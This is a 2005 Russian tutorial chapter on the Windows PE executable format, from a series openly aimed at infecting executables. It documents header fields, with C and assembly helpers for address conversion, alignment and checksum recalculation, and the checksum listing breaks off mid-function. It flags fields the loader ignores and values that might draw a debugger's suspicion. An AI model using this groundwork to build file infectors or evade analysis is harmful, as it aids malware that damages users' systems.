От зеленого к красному: Глава 2: Формат исполняемого файла ОС Windows. PE32 и PE64. Способы заражения исполняемых файлов.

Дата публикации 27 июн 2005

От зеленого к красному: Глава 2: Формат исполняемого файла ОС Windows. PE32 и PE64. Способы заражения исполняемых файлов. — Архив WASM.RU

Содержание

            В этой главе мы исследуем формат исполняемых файлов в операционной системе Windows. Все факты, которые будут касаться этого изложения подходят для ОС WindowsXPcустановленным SP2. Но большинство фактов распространяются на всю платформу Win32. Я буду рассматривать все поля PE-формата полностью. Я привожу здесь описания используемых структур, для того чтобы Вы могли использовать этот документ и как справочник.

            Формат PE(PortableExecutable) – это переносимый исполняемый формат файлов. Переносимым он является потому, что он единственный для всех операционных систем Windows(9x,NT). Есть форматы и другие, но для платформы Win32 этот формат является единственным.

            PE-формат впервые был использован в ОС Windows3.1. Он был стандартизирован в 1993 году и базируется на формате COFF(CommonObjectFileFormat), который использовался в нескольких UNIXи VMS. Приступим, сначала рассмотрим общий вид PE-файла, чтобы Вы имели представление о нем.

         Общий вид PE-файла

            PE-файл в самом своем начале содержит программу для ОС DOS. Эта программа называется stub и нужна для совместимости со старыми ОС. Если мы запускаем PE-файл под ОС DOS или OS/2 она выводит на экран консоли текстовую строку, которая информирует пользователя, что данная программа не совместима с данной версией ОС. Программист при линковке может указать любую программу DOS, любого размера. После этой DOS-программы идет структура, которая называется IMAGE_NT_HEADERS. Эта структура определена так:

Код (Text):
  1.  
  2. typedef struct _IMAGE_NT_HEADERS
  3. {
  4.     DWORD Signature;
  5.     IMAGE_FILE_HEADER FileHeader;
  6.     IMAGE_OPTIONAL_HEADER32 OptionalHeader;
  7. }

Почти все определения структур PE-файла Вы можете узнать из заголовочного файла WINNT.H, который поставляется вместе с какой-нибудь средой программирования.

Первый элемент IMAGE_NT_HEADERS – сигнатура PE-файла. Для PE-файлов она должна иметь значение IMAGE_NT_SIGNATURE. Далее идет структура, которая называется файловым заголовком и определенная как IMAGE_FILE_HEADER. Файловый заголовок содержит наиболее общие свойства для данного PE-файла. Мы рассмотрим файловый заголовок в соответствующем разделе. После файлового заголовка идет опциональный заголовок - IMAGE_OPTIONAL_HEADER32. Он содержит специфические параметры данного PE-файла. В конце опционального заголовка содержится массив элементов DataDirectory. Он служит для доступа к некоторым сущностям, которые могут быть секциями (о секциях далее), а могут и не быть. В общем случае эти сущности называются – директориями. После опционального заголовка начинается таблица секций. В ней содержится информация о каждой секции. После таблицы секций идут исходные данные для секций. В конец PE-файла можно записать любую информацию и от этого функционирование программы не измениться (если там не присутствует проверка контрольной суммы etc.). Вы можете посмотреть, как выглядит PE-файл на рисунке, тогда Вы поймете, о чем я говорил в этом разделе:

Терминология применимая для файлов PE-формата

Секция – непрерывный набор страниц памяти с одинаковыми атрибутами. Бывают секции кода, данных, ресурсов и т.д. Обычно данные делятся на секции, если предполагается, что они будут использоваться одинаковым образом, т.е. например, только для чтения или только для записи. Также, данные могут делиться на секции в зависимости от того, что, представляют из себя, эти данные, например ресурсы или таблица импорта. В общем случае может быть, например 12 секций с одинаковыми атрибутами, и используемые для кода. Мы вправе сами создавать секции, указывая это компиляторам. С другой стороны секция это отдельная сущность PE-файла. Вы только прочтите, что пишут Microsoftв спецификации PE/COFFформата, что такое секция:

«A section is the basic unit of code or data within a PE/COFF file. In an object file, for example, all code can be combined within a single section, or (depending on compiler behavior) each function can occupy its own section. With more sections, there is more file overhead, but the linker is able to link in code more selectively. A section is vaguely similar to a segment in Intel 8086 architecture. All the raw data in a section must be loaded contiguously. In addition, an image file can contain a number of sections, such as .tls or .reloc, that have special purposes»

Прочтите внимательно, Microsoft – звери хитрые, просто так писать ничего не будут, да и НЕ писать тоже. Хотя, время текет и все устаревает.

VA (Virtual Address) – виртуальный адрес. Адрес в адресном пространстве текущего процесса.

RVA (RelativeVirtualAddress) – относительный виртуальный адрес. При загрузке PE-файла, ОС использует механизм файлового мэппинга(FileMapping). Т.е. она проецирует данный exe, dll, sys или scrфайл по какому-то адресу в виртуальном адресном пространстве. Адрес начала проекции называется базовым адресом в памяти данного exe, dll, sys или scrфайла. А смещение относительно базового адреса называется – относительным виртуальным адресом. Например, EXE-файл спроецирован по адресу 400000H. Тогда если PE-заголовок находиться по адресу 4000E0H, то RVAPE-заголовка будет E0. В PE-заголовке очень много параметров указываются через RVA. А если RVAначала инструкций в файле есть 1000H, то виртуальный адрес будет равен 401000H учитывая, что база 400000H. Чтобы посчитать относительный виртуальный адрес по данному виртуальному адресу используется следующая формула:

(1)                                                              RVA = VA - IMAGE_OPTIONAL_HEADER.ImageBase

Иногда возникает необходимость посчитать файловое смещение соответствующее VAили RVA. Если требуется смещение внутри секции, используется следующая формула:

(2)               offset = RVA – IMAGE_SECTION_HEADER.VirtualAddress +                     IMAGE_SECTION_HEADER.PointerRawData

Если смещение находится вне секции, т.е. в заголовке, таблице секций или еще где-нибудь, то естественно файловое смещение равно RVA. Вот код функции, которая возвращает файловое смещение в зависимости от RVA:

Код (Text):
  1.  
  2. //Base - файл проецируется в память, это его база
  3. //RVA - значение, которое нужно преобразовать в Offset
  4. DWORD RVAtoOffset(DWORD Base,DWORD RVA)
  5. {
  6.     PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)((long)Base+((PIMAGE_DOS_HEADER)Base)-»e_lfanew);
  7.     short NumberOfSection=pPE-»FileHeader.NumberOfSections;
  8.     long SectionAlign=pPE-»OptionalHeader.SectionAlignment;
  9.     PIMAGE_SECTION_HEADER Section=(PIMAGE_SECTION_HEADER)
  10.        (pPE-»FileHeader.SizeOfOptionalHeader+(long)&
  11.        (pPE-»FileHeader)+sizeof(IMAGE_FILE_HEADER));
  12.     long VirtualAddress,PointerToRawData;
  13.     bool flag=false;
  14.     for (int i=0;i«NumberOfSection;i++)
  15.     {
  16.         if ((RVA>=(Section-»VirtualAddress))&&
  17.            (RVA«Section-»VirtualAddress+
  18.            ALIGN_UP((Section-»Misc.VirtualSize),SectionAlign) ))
  19.         {
  20.             VirtualAddress=Section-»VirtualAddress;
  21.             PointerToRawData=Section-»PointerToRawData;
  22.             flag=true;
  23.             break;
  24.         }
  25.         Section++;
  26.     }
  27.     if (flag) return RVA-VirtualAddress+PointerToRawData;
  28.     else return RVA;
  29. }

Макрос ALING_UP определен при описании параметра SectionAlignment в опциональном заголовке. Кстати, с помощью CreateFileMapping можно спроецировать файл как PE, т.е. кусками по секциям, а не как  сплошной файл. Это делается так:

Код (Text):
  1.  
  2. HANDLE hFile=CreateFile("c:\\regedit.exe",GENERIC_WRITE | GENERIC_READ,FILE_SHARE_WRITE,
  3.                         NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  4. HANDLE hMapping=CreateFileMapping(hFile,NULL,PAGE_READWRITE | SEC_IMAGE,0,0,NULL);
  5. HANDLE hMap=MapViewOfFile(hMapping,FILE_MAP_ALL_ACCESS,0,0,0);

Параметр SEC_IMAGEуказывает, что проецировать файл надо как исполняемый. Естественно мы  будем только так проецировать файлы при заражении, чтобы не высчитывать соответствий смещения в файле и RVA.

IAT – таблица адресов импорта. Массив двойных слов, содержащие RVA импортируемых функций.

INT – таблица импортируемых имен. Массив двойных слов, каждое из которых является RVA на ASCIIZ-строку с импортируемой функцией.

DOS-MZзаголовок

В начале файла располагается DOS-MZзаголовок. Он определен следующим образом:

Код (Text):
  1.  
  2. typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
  3.     WORD   e_magic;                     // Magic number
  4.     WORD   e_cblp;                      // Bytes on last page of file
  5.     WORD   e_cp;                        // Pages in file
  6.     WORD   e_crlc;                      // Relocations
  7.     WORD   e_cparhdr;                   // Size of header in paragraphs
  8.     WORD   e_minalloc;                  // Minimum extra paragraphs needed
  9.     WORD   e_maxalloc;                  // Maximum extra paragraphs needed
  10.     WORD   e_ss;                        // Initial (relative) SS value
  11.     WORD   e_sp;                        // Initial SP value
  12.     WORD   e_csum;                      // Checksum
  13.     WORD   e_ip;                        // Initial IP value
  14.     WORD   e_cs;                        // Initial (relative) CS value
  15.     WORD   e_lfarlc;                    // File address of relocation table
  16.     WORD   e_ovno;                      // Overlay number
  17.     WORD   e_res[4];                    // Reserved words
  18.     WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
  19.     WORD   e_oeminfo;                   // OEM information; e_oemid specific
  20.     WORD   e_res2[10];                  // Reserved words
  21.     LONG   e_lfanew;                    // File address of new exe header
  22.   } IMAGE_DOS_HEADER

Все что нас интересует здесь - это только одно значение - e_lfanew. Это двойное слово является RVAи указывает на структуру IMAGE_NT_HEADERS. Размер DOS-MZ заголовка составляет 80 байт.

Файловый заголовок

Файловый заголовок находиться в PE-файле сразу же после сигнатуры IMAGE_NT_SIGNATURE. В файле WINNT.Hона определена как 00004550H. Файловый заголовок содержит наиболее общую информацию о данном файле. В файле WINNT.H файловый заголовок определен следующим образом:

Код (Text):
  1.  
  2. typedef struct _IMAGE_FILE_HEADER {
  3.     WORD    Machine;
  4.     WORD    NumberOfSections;
  5.     DWORD   TimeDateStamp;
  6.     DWORD   PointerToSymbolTable;
  7.     DWORD   NumberOfSymbols;
  8.     WORD    SizeOfOptionalHeader;
  9.     WORD    Characteristics;
  10. } IMAGE_FILE_HEADER;

Давайте рассмотрим по порядку данные поля.

WORDMachine;

Два байта содержащие платформу, для которой создавался данный PE-файл. Возможные значения приведены ниже.

Код (Text):
  1.  
  2. #define IMAGE_FILE_MACHINE_UNKNOWN           0
  3. #define IMAGE_FILE_MACHINE_I386              0x014c  // Intel 386.
  4. #define IMAGE_FILE_MACHINE_R3000             0x0162  // MIPS little-endian, 0x160 big-endian
  5. #define IMAGE_FILE_MACHINE_R4000             0x0166  // MIPS little-endian
  6. #define IMAGE_FILE_MACHINE_R10000            0x0168  // MIPS little-endian
  7. #define IMAGE_FILE_MACHINE_WCEMIPSV2         0x0169  // MIPS little-endian WCE v2
  8. #define IMAGE_FILE_MACHINE_ALPHA             0x0184  // Alpha_AXP
  9. #define IMAGE_FILE_MACHINE_POWERPC           0x01F0  // IBM PowerPC Little-Endian
  10. #define IMAGE_FILE_MACHINE_SH3               0x01a2  // SH3 little-endian
  11. #define IMAGE_FILE_MACHINE_SH3E              0x01a4  // SH3E little-endian
  12. #define IMAGE_FILE_MACHINE_SH4               0x01a6  // SH4 little-endian
  13. #define IMAGE_FILE_MACHINE_ARM               0x01c0  // ARM Little-Endian
  14. #define IMAGE_FILE_MACHINE_THUMB             0x01c2
  15. #define IMAGE_FILE_MACHINE_IA64              0x0200  // Intel 64
  16. #define IMAGE_FILE_MACHINE_MIPS16            0x0266  // MIPS
  17. #define IMAGE_FILE_MACHINE_MIPSFPU           0x0366  // MIPS
  18. #define IMAGE_FILE_MACHINE_MIPSFPU16         0x0466  // MIPS
  19. #define IMAGE_FILE_MACHINE_ALPHA64           0x0284  // ALPHA64
  20. #define IMAGE_FILE_MACHINE_AXP64             IMAGE_FILE_MACHINE_ALPHA64
  21. #define IMAGE_FILE_MACHINE_CEF               0xC0EF

ОС Windows поддерживает только две архитектуры и все они - процессоров Intel– IA-32, IA-64. Исходя из этого, только два значения считаются корректными в PE-файле IMAGE_FILE_MACHINE_IA64 и IMAGE_FILE_MACHINE_I386. Если Вы подставите чего-либо другое, загрузчик откажется загружать данный файл. Да и то для 32х разрядных операционных систем (т.е. работающих с 32х разрядными процессорами) – значение единственное - IMAGE_FILE_MACHINE_I386. Очень интересно еще и то, что в официальной спецификации о некоторых значениях просто умалчивается, просто умалчивается и все!

WORD    NumberOfSections;

Количество секций в PE-файле. Значение должно быть верным. Фактически означает число элементов в таблице секций.

DWORD   TimeDateStamp;

Информация о времени, когда был собран данный PE-файл. Это значение равно количеству секунд прошедших с 1 января 1970 года до времени создания файла. В стандартной библиотеке Си есть замечательная функция gmtime, которая переводит время из секунд в удобочитаемый вид. Она берет указатель на DWORD – количество секунд и заполняет структуру tm, определенную в time.h. Эта структура выглядит следующим образом:

Код (Text):
  1.  
  2. struct tm {
  3.   int tm_sec;   /* Секунды */
  4.   int tm_min;   /* Минуты */
  5.   int tm_hour;  /* Часы (0--23) */
  6.   int tm_mday;  /* День месяца (1--31) */
  7.   int tm_mon;   /* Месяц (0--11) */
  8.   int tm_year;  /* Год (минус 1900) */
  9.   int tm_wday;  /* День недели (0--6; Sunday = 0) */
  10.   int tm_yday;  /* День года (0--365) */
  11.   int tm_isdst; /* связано с переход на летнее время */
  12. };

Чтобы узнать какой дате это число соответствует, используйте следующую функцию

Код (Text):
  1.  
  2. void printTimeStamp(DWORD x)
  3. {
  4. struct tm* Time=gmtime((const long *)&x);
  5. printf("Year:%d\nMonth:%d\nDay:%d\n",Time-»tm_year+1900,Time-»tm_mon,Time-»tm_mday);
  6. }

X – значение поля TimeDateStamp. Чтобы использовать данную функцию необходимо подключить заголовочный файл time.h.

DWORD   PointerToSymbolTable;

Указатель на COFF-таблицу символов PE-формата. Эту же информацию можно найти в элементе массива DataDirectoryс индексом IMAGE_DIRECTORY_ENTRY_DEBUG. Если Вы вдруг не знали, то отладочная информация нужна только для отладчика. Отсюда следует, что мы может размещать в этом поле любое значение.

DWORD   NumberOfSymbols;

Количество символов в COFF-таблице символов. Может принимать любое значение.

WORD    SizeOfOptionalHeader;

Размер опционального заголовка. Опциональный заголовок следует сразу же за файловым заголовком. Размер опционального заголовка зависит от массива DataDirectory, а именно от количества элементов в нем. Обычно в нем 16 элементов, но могут быть и неожиданности. Это поле проверяется загрузчиком и должно быть правильным.

WORD    Characteristics;

Характеристики – это атрибуты специфичные для данного PE-файла. Поле Characteristics 16 битное поле и каждый установленный бит представляет из себя отдельный флаг. Знаете, я не ленив, и опишу все возможные флаги подробно. Конечно, большинство из них не используются в данное время, ведь PE-формат был создан в 1993 году. С этого времени много вещей стали не важны. Но это информация общеобразовательная. Прочитайте, если Вы хотите быть более гибки в области операционных систем.

Определены следующие значения:

#define IMAGE_FILE_fS_STRIPPED           0x0001 

В файле отсутствует информация о базовых поправках. Этот флаг не используется в исполняемых файлах. Вместо этого информация о базовых поправках храниться в каталоге, на который указывает элемент в массиве DataDirectory с индексом IMAGE_DIRECTORY_ENTRY_BASERELOC.

#define IMAGE_FILE_EXECUTABLE_IMAGE          0x0002

Файл является исполняемым  (т.е. не содержит нераспознанных внешних ссылок). Если файл является исполняемым, то он не является объектным файлом или библиотекой.

#define IMAGE_FILE_LINE_NUMS_STRIPPED        0x0004 

 В файле отсутствуют номера строк. Это значение не используется в исполняемых файлах.

#define IMAGE_FILE_LOCAL_SYMS_STRIPPED       0x0008

Локальные символы отсутствуют в файле. Это значение не используется в исполняемых файлах.

#define IMAGE_FILE_AGGRESIVE_WS_TRIM         0x0010

Этот флаг установлен, если операционная система ограничивает программу памятью, агрессивно сбрасывая данные приложения в страничный файл. Этот флаг устанавливается для приложений, которые большую часть своего времени ждут, лишь очень редко пробуждаясь.

#define IMAGE_FILE_LARGE_ADDRESS_AWARE       0x0020 

Флаг, чтобы приложение могла работать с объемом памяти больше 2 или 3 Гб (в зависимости от загрузочного параметра).

#define IMAGE_FILE_BYTES_REVERSED_LO         0x0080 

и

#define IMAGE_FILE_BYTES_REVERSED_HI         0x8000 

Эти флаги устанавливаются если порядок байт в конце файла, отличен от порядка байт для текущей архитектуры. Т.к. порядок байт в процессорах Intelодинаковый, то этот параметр в данное время не используется.

#define IMAGE_FILE_32BIT_MACHINE             0x0100 

Этот флаг установлен, если предполагается, что машина 32- разрядная. Вероятно, если файл будет собран при помощи 64-разраного линкера, то этот флаг не будет установлен.

#define IMAGE_FILE_DEBUG_STRIPPED            0x0200 

Отладочная информация отсутствует в файле. Этот параметр не используется для исполняемых файлов.

#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP   0x0400

Этот флаг установлен, если приложение может не запуститься с переносного носителя, дискеты или CD-ROM. В этом случае ОС переносит данные исполняемый файл в файл подкачки и считывает его оттуда. Но этот флаг в данный момент избыточен, т.к. ОС сама переносит исполняемый файл в файл подкачки, если он находиться на подобном съемном носителе.

#define IMAGE_FILE_NET_RUN_FROM_SWAP         0x0800

Флаг установлен, если приложение может не запуститься по сети. Но этот флаг в данный момент избыточен, т.к. ОС сама переносит исполняемый файл в файл подкачки, если он находиться на общем сетевом ресурсе.

#define IMAGE_FILE_SYSTEM                    0x1000

Этот флаг установлен, если данный файл является системным, подобно драйверу. В настоящее время не используется.

#define IMAGE_FILE_DLL                       0x2000

Данный файл – это динамически подключаемая библиотека(DinamicLinkLibrary). Каждая DLLобязана иметь этот флаг, иначе она не загрузиться. Этот флаг может использоваться EXE, и при этом быть корректным исполняемым файлом.

#define IMAGE_FILE_UP_SYSTEM_ONLY            0x4000

Этот флаг установлен, если приложение не предназначено для многопроцессорных платформ.

Главные поля в файловом заголовке – это количество секций и размер опционального заголовка. Остальные нужны очень редко или не нужны вовсе.

Опциональный заголовок

В опциональном заголовке храниться более специфическая информация о приложении и его потребностях. Я не хочу утомлять Вас, но если Вы это читаете, то будьте добры читать все. Здесь я опишу все поля опционального заголовка. В любом случае тонкости PE-формата нам пригодятся. А где пригодятся, Вы узнаете в этой главе. Следите внимательно.

В WINNT.Hопциональный заголовок – это структура IMAGE_OPTIONAL_HEADER. Она определена следующим образом:

Код (Text):
  1.  
  2. typedef struct _IMAGE_OPTIONAL_HEADER {
  3.     //
  4.     // Стандартные поля
  5.     //
  6.  
  7.     WORD    Magic;
  8.     BYTE    MajorLinkerVersion;
  9.     BYTE    MinorLinkerVersion;
  10.     DWORD   SizeOfCode;
  11.     DWORD   SizeOfInitializedData;
  12.     DWORD   SizeOfUninitializedData;
  13.     DWORD   AddressOfEntryPoint;
  14.     DWORD   BaseOfCode;
  15.     DWORD   BaseOfData;
  16.  
  17.     //
  18.     // дополнительные поля NT
  19.     //
  20.  
  21.     DWORD   ImageBase;
  22.     DWORD   SectionAlignment;
  23.     DWORD   FileAlignment;
  24.     WORD    MajorOperatingSystemVersion;
  25.     WORD    MinorOperatingSystemVersion;
  26.     WORD    MajorImageVersion;
  27.     WORD    MinorImageVersion;
  28.     WORD    MajorSubsystemVersion;
  29.     WORD    MinorSubsystemVersion;
  30.     DWORD   Win32VersionValue;
  31.     DWORD   SizeOfImage;
  32.     DWORD   SizeOfHeaders;
  33.     DWORD   CheckSum;
  34.     WORD    Subsystem;
  35.     WORD    DllCharacteristics;
  36.     DWORD   SizeOfStackReserve;
  37.     DWORD   SizeOfStackCommit;
  38.     DWORD   SizeOfHeapReserve;
  39.     DWORD   SizeOfHeapCommit;
  40.     DWORD   LoaderFlags;
  41.     DWORD   NumberOfRvaAndSizes;
  42.     IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
  43. } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

Как Вы уже, наверное, заметили, опциональный заголовок абстрактно делится на две части: стандартные поля и дополнительные поля NT. Естественно на реализации это деление не отражается. Рассмотрим поля по порядку. Кстати, опциональный заголовок так называется, потому что, если рассматривать в общем стандарт PE/COFF файлов, то для объектных файлов COFF-формата он отсутствует. Для исполняемых файлов этот заголовок является обязательным. А то некоторые авторитетные товарищи удивляются, почему этот заголовок называется опциональным. А это написано черным по белому в спецификации MicrosoftPE-формата. Размер опционального заголовка не является фиксированным и чтобы узнать его надо обратиться к файловому заголовку.

WORD    Magic;

Это слово служит, чтобы проверить для какой версии спецификации PE этот опциональный заголовок. Возможныезначения:

#define IMAGE_NT_OPTIONAL_HDR32_MAGIC      0x10b

Для спецификации PE32

#define IMAGE_NT_OPTIONAL_HDR64_MAGIC      0x20b

Для спецификации PE64

#define IMAGE_ROM_OPTIONAL_HDR_MAGIC       0x107

Если исполняемый файл после проекции его загрузчиком будет только для чтения. Не используется в настоящее время.

Для 32х разрядных ОС есть одно возможное значение - IMAGE_NT_OPTIONAL_HDR32_MAGIC

BYTE    MajorLinkerVersion;

Старшее слово версии линковщика, создавшего данный файл. Может быть любым.

BYTE    MinorLinkerVersion;

Младшее слово версии линковщика, создавшего данный файл. Может быть любым.

DWORD   SizeOfCode;

Размер секции кода или сумма всех секций кода. В WindowsXPSP2 может быть любым, на остальных ОС надо тестировать отдельно, но, скорее всего, дело обстоит точно также. Но если это значение неправильное это может вызвать подозрение у разных отладчиков etc.

DWORD   SizeOfInitializedData;

Размер секции с инициализированными данными. То же самое, что и с прошлым параметром.

DWORD   SizeOfUninitializedData;

Размер секции с неинициализированными данными. То же самое, что и с прошлым параметром.

DWORD   AddressOfEntryPoint;

Адрес, с которого начинают считываться инструкции для выполнения. Адрес является RVA. Чтобы указать на адрес ниже базового можно использовать отрицательные значения, т.е. в дополнительном коде. По-другому это называется - целочисленное переполнение.

DWORD   BaseOfCode;

RVAоткуда начинаются секция(и) кода исполняемого файла. Может быть любым значением, т.к. не используются загрузчиками. Но если это значение неправильное это может вызвать подозрение у разных отладчиков etc.

DWORD   BaseOfData;

RVAоткуда начинаются секция(и) данных исполняемого файла. Может быть любым значением, т.к. не используются загрузчиками.

DWORD   ImageBase;

При запуске PE-файла он будет отображен по частям, начиная с некоторого адреса в памяти. Адрес отображения называется базовым адресом для данного файла. В данном поле храниться базовый адрес PE-файла. Этот файл естественно является VA. От него отсчитываются все RVA. Еcли файл не загружается по каким-то причинам (по этому адресу помять уже зарезервирована) по данному адресу, то загрузчику необходимо применять базовые поправки. Обычно файл загружается по базовому адресу и базовые поправки не нужны. Это позволяет использовать базовые поправки в своих целях. Для компоновщиков, по умолчанию устанавливается базовый адрес 400000H.

DWORD   SectionAlignment;

Секция при загрузке PE-файла в память будет начинаться с адреса кратного данной величине. Вот ограничения данного поля. 1) Это значение представляет собой степень двойки. 2) SectionAlignment>=FileAlignment. Пусть нам дано значение адреса. Нам надо получить выровненное значение в соответствии с выравниванием. Для этого можно использовать следующую формулу:

(3) z = (x + (y-1))&(~(y-1))

,где x – выравниваемое значение, y– выравнивающий фактор.

Посмотрите на пример функции, которое выравнивает вверх нужное значение:

Код (Text):
  1.  
  2. ;########################################
  3. ;Процедура GetAlignUP
  4. ;Получение выровненного-вверх значения
  5. ;Вход:  esi - значение для выравнивания
  6. ;   edi - выравнивающий фактор
  7. ;Выход:eax - выровненное значение
  8. ;########################################
  9. GetAlignUp proc
  10.     push esi
  11.     push edi
  12.  
  13.     dec edi
  14.     add esi,edi
  15.     not edi
  16.     and esi,edi
  17.     mov eax,esi
  18.  
  19.     pop edi
  20.     pop esi
  21.     ret    
  22. GetAlignUp endp
  23. ;########################################
  24. ;Конец процедуры GetAlignUP
  25. ;########################################</code></pre>
  26.  
  27. <p>Вот процедура,
  28. которая выравнивает вниз нужное значение:</p>
  29. <p><code><pre>
  30. ;########################################
  31. ;Процедура GetAlignDown
  32. ;Получение выровненного-вниз значения
  33. ;Вход:  esi - значение для выравнивания
  34. ;   edi - выравнивающий фактор
  35. ;Выход:eax - выровненное значение
  36. ;########################################
  37. GetAlignDown proc
  38.     push esi
  39.     push edi
  40.  
  41.     dec edi
  42.     not edi
  43.     and esi,edi
  44.     mov eax,esi
  45.  
  46.     pop edi
  47.     pop esi
  48.     ret    
  49. GetAlignDown endp
  50. ;########################################
  51. ;Конец процедуры GetAlignDown
  52. ;########################################

А вот макросы на Си делающие то же самое:

Код (Text):
  1.  
  2. #define ALIGN_DOWN(x, align)  (x &amp; ~(align-1))//выравнивание вниз
  3. #define ALIGN_UP(x, align)    ((x &amp; (align-1))?ALIGN_DOWN(x,align)+align:x)
  4.                                          //выравнивание вверх

DWORD   FileAlignment;

Эта величина соответствует смещению секций в файле. Размер каждой секции кратен данной величине. Вот ограничения данного поля: 1) Это значение представляет собой степень двойки. 2) Должно быть между 200Hи 10000H. 3) SectionAlignment>=FileAlignment. Вы также можете использовать функцию GetAlignдля получения выровненного значения.

WORD    MajorOperatingSystemVersion;

WORD    MinorOperatingSystemVersion;

Версия ОС, для которой данный файл предназначен. Совершенно никем не проверяемое поле. Может быть любым, но лучше чтобы не нулевое, а то кто-то ругался (привет HardWisdom!)

WORD    MajorImageVersion;

WORD    MinorImageVersion;

Это поле специально для того, чтобы программист создающий программу мог указать версию исполняемого образа. Может быть любым.

WORD    MajorSubsystemVersion;

WORD    MinorSubsystemVersion;

Поле содержит самую старую версию подсистемы, позволяющую запускать данный файл. Должно быть правильным.

DWORD   Win32VersionValue;

Зарезервировано. Может быть любым.

DWORD   SizeOfImage;

Содержит общий размер всех частей отображения. Важно, что загрузчик проверяет значение этого поля по следующей формуле:

(4)                                  SizeOfImage = VirtualSize + VirtualAddress

DWORD   SizeOfHeaders;

Размер заголовков. Вычисляется по формуле

(5)                                     SizeOfHeaders = DOS Stub + PE Header + Object Table

Кратно значению FileAlignment. Должно быть корректным.

DWORD   CheckSum;

Контрольная сумма образа файла. Для обычных исполняемых файлов контрольная сумма не проверяется, т.е. может быть любой. Если она нулевая, то она тоже может быть любой. Для всех системных DLLдолжна быть корректная. Алгоритм контрольной суммы не является закрытым как говорят некоторые. Чтобы получить контрольную сумму данного исполняемого файла надо вызвать функцию CheckSumMappedFile с соответствующими параметрами. Эта функция доступна из библиотеки imagehlp.dll. В этой библиотеке содержится набор функций чтобы работать с PE-файлами. Но нам с Вами эти дурацкие библиотеки не нужны, т.к. мы делаем все вручную (почти все :smile3:). Научитеcь делать сначала вручную, потом используйте свои библиотеки и свой очень компактный, и очень маленький код. Библиотека imagehlp.dll входит в состав ОС и прототипы соответствующих функций содержатся в Imagehlp.h. В статье «Make your own CheckSumMappedFile» by Bumblebee/29a обсуждается, как сделать свою функцию CheckSumMappedFile, но, к сожалению, то что сделал Bumblebee не работает :( Я подправил его код и получилась рабочая функция. Ниже в листинге приведена функция и пример ее использования.

Код (Text):
  1.  
  2. ;###########################################################
  3. ;
  4. ;   Реализация собственной функции CheckSumMappedFile  
  5. ;
  6. ;###########################################################
  7.  
  8. .386
  9. option casemap:none
  10. .model flat,stdcall
  11. include \tools\masm32\include\windows.inc
  12. includelib \tools\masm32\lib\kernel32.lib
  13. include \tools\masm32\include\kernel32.inc
  14. .data
  15.     hFile dd 0
  16.     hMapping dd 0
  17.     hMap dd 0
  18.     Name1 db "C:\\kernel32.dll",0
  19.     HeaderSum dd 0fffh
  20.     CheckSum dd 0
  21. .code
  22. start:
  23. invoke CreateFile,offset Name1,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_WRITE,
  24.        NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
  25. mov hFile,eax
  26.  
  27. invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL
  28. mov hMapping,eax
  29. invoke MapViewOfFile,hMapping,FILE_MAP_ALL_ACCESS,0,0,0
  30. mov hMap,eax
  31. invoke GetFileSize,hFile,NULL
  32.  
  33. push offset CheckSum
  34. push offset HeaderSum
  35. push eax
  36. push hMap
  37. call    CheckSumMappedFile              ; Вычисление контрольной суммы
  38. ;после этого вызова в eax - окажется контрольная сумма файла с именем Name1
  39. invoke ExitProcess,0
  40.  
  41. CheckSumMappedFile:;код самой функции
  42. assume fs:nothing
  43.         mov   eax, dword ptr fs:[00000000]
  44.         push  ebp
  45.         mov   ebp, esp
  46.         push  -00000001
  47.         push  7D6C61C0h
  48.         push  7D6C4598h
  49.         push  eax
  50.         mov   eax, dword ptr [ebp+10h]
  51.         mov   dword ptr fs:[00000000], esp
  52.         sub   esp, 00000010h
  53.         push  ebx
  54.         push  esi
  55.         push  edi
  56.         xor   esi, esi
  57.         mov   dword ptr [ebp-18h], esp
  58.         mov   dword ptr [eax], esi
  59.         mov   eax, dword ptr [ebp+0Ch]                ;размер файла
  60.         inc   eax                              
  61.         shr   eax, 1                          
  62.         push  eax                              
  63.         push  dword ptr [ebp+08h]              
  64.         push  esi                              
  65.         call  func0                            
  66.                                            
  67.  
  68.         mov   word ptr [ebp-1Ah], ax      
  69.         mov   dword ptr [ebp-04h], esi    
  70.     mov eax,dword ptr [ebp+08h]
  71.     assume eax:ptr IMAGE_DOS_HEADER
  72.     mov ecx,dword ptr [eax].e_lfanew
  73.     add eax,ecx
  74.         mov   dword ptr [ebp-20h], eax  
  75.         jmp   saltito0                
  76.         mov   eax, 00000001        
  77.         ret
  78.  
  79.         mov   esp, dword ptr [ebp-18h]
  80.         mov   dword ptr [ebp-20h], 00000000
  81.  
  82. saltito0:                                      
  83.         mov   dword ptr [ebp-04h], 0FFFFFFFFh
  84.         cmp   dword ptr [ebp-20h], 000000000h
  85.         je    saltito1
  86.         mov   eax, dword ptr [ebp+08h]
  87.         cmp   dword ptr [ebp-20h], eax        
  88.         je    saltito1
  89.         mov   esi, dword ptr [ebp-20h]      
  90.         mov   ecx, dword ptr [ebp+10h]
  91.         add   esi, 00000058h
  92.         mov   edx, 00000001h
  93.         mov   eax, dword ptr [esi]
  94.         mov   dword ptr [ecx], eax
  95.         mov   ecx, edx
  96.         mov   ax, word ptr [esi]
  97.         cmp   word ptr [ebp-1Ah], ax
  98.         adc   ecx, -00000001
  99.         sub   word ptr [ebp-1Ah], cx
  100.         sub   word ptr [ebp-1Ah], ax
  101.         mov   ax, word ptr [esi+02h]
  102.         cmp   word ptr [ebp-1Ah], ax
  103.         adc   edx, -00000001
  104.         sub   word ptr [ebp-1Ah], dx
  105.         sub   word ptr [ebp-1Ah], ax
  106.  
  107. saltito1:
  108.         movzx ecx, word ptr [ebp-1Ah]
  109.         add   ecx, dword ptr [ebp+0Ch]
  110.         mov   eax, dword ptr [ebp+14h]
  111.         pop   edi
  112.         pop   esi
  113.         pop   ebx
  114.         mov   dword ptr [eax], ecx
  115.         mov   eax, dword ptr [ebp-20h]
  116.         mov   ecx, dword ptr [ebp-10h]
  117.         mov   dword  ptr fs:[00000000], ecx
  118.         mov   esp, ebp
